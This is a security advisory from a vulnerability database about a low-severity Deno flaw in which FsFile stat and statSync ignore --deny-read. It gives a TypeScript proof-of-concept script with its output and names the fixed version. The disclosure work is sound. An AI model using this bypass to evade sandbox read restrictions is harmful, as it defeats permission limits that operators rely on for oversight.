VDB
Sign up
LOW3.3

GHSA-qq26-84mh-26j9

Deno's --deny-read check does not prevent permission bypass

Details

### Summary

`Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`.

It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with `--deny-read=./`)

Similar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.

### PoC

Setup: ``` deno --version deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu) v8 13.7.152.14-rusty typescript 5.8.3

touch test1.txt ```

- `poc_file.stat.ts` ```ts // touch test1.txt // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1 // deno run --allow-write=./ poc_file.stat.ts 1 async function poc1(){ using file = await Deno.open("./test1.txt", { read: false, write: true}); const fileInfo = await file.stat(); console.log(fileInfo.isFile); }

// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2 // deno run --allow-write=./ poc_file.stat.ts 2 function poc2(){ using file = Deno.openSync("./test1.txt", { read: false, write: true}); const fileInfo = file.statSync(); console.log(fileInfo.isFile); }

// https://docs.deno.com/api/deno/~/Deno.stat // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3 // deno run --allow-write=./ poc_file.stat.ts 3 async function poc3(){ // not executed const fileInfo = await Deno.stat("./test1.txt"); console.log(fileInfo.isFile); }

// https://docs.deno.com/api/deno/~/Deno.statSync // deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4 // deno run --allow-write=./ poc_file.stat.ts 4 function poc4(){ // not executed const fileInfo = Deno.statSync("./test1.txt"); console.log(fileInfo.isFile); }

async function main(){ const poc = Deno.args[0] || 1;

const status = await Deno.permissions.query({ name: "read", path: "./" }); console.log(status); switch (poc) { case "1": poc1() break; case "2": poc2() break; case "3": poc3() break; case "4": poc4() break; default: poc1() } }

main() ```

Output: - `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1` ``` PermissionStatus { state: "denied", onchange: null } true ```

- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2` ``` PermissionStatus { state: "denied", onchange: null } true ```

- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3` ``` PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag const fileInfo = await Deno.stat("./test1.txt"); ^ ... ```

- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4` ``` PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag const fileInfo = Deno.statSync("./test1.txt"); ^ ... ```

### Impact

Permission model bypass

Are you affected?

Enter the version of the package you're using.

Affected packages

crates.io/deno
Introduced in: 0Fixed in: 2.5.3

Upgrade deno to 2.5.3 or newer (ecosystem crates.io).

References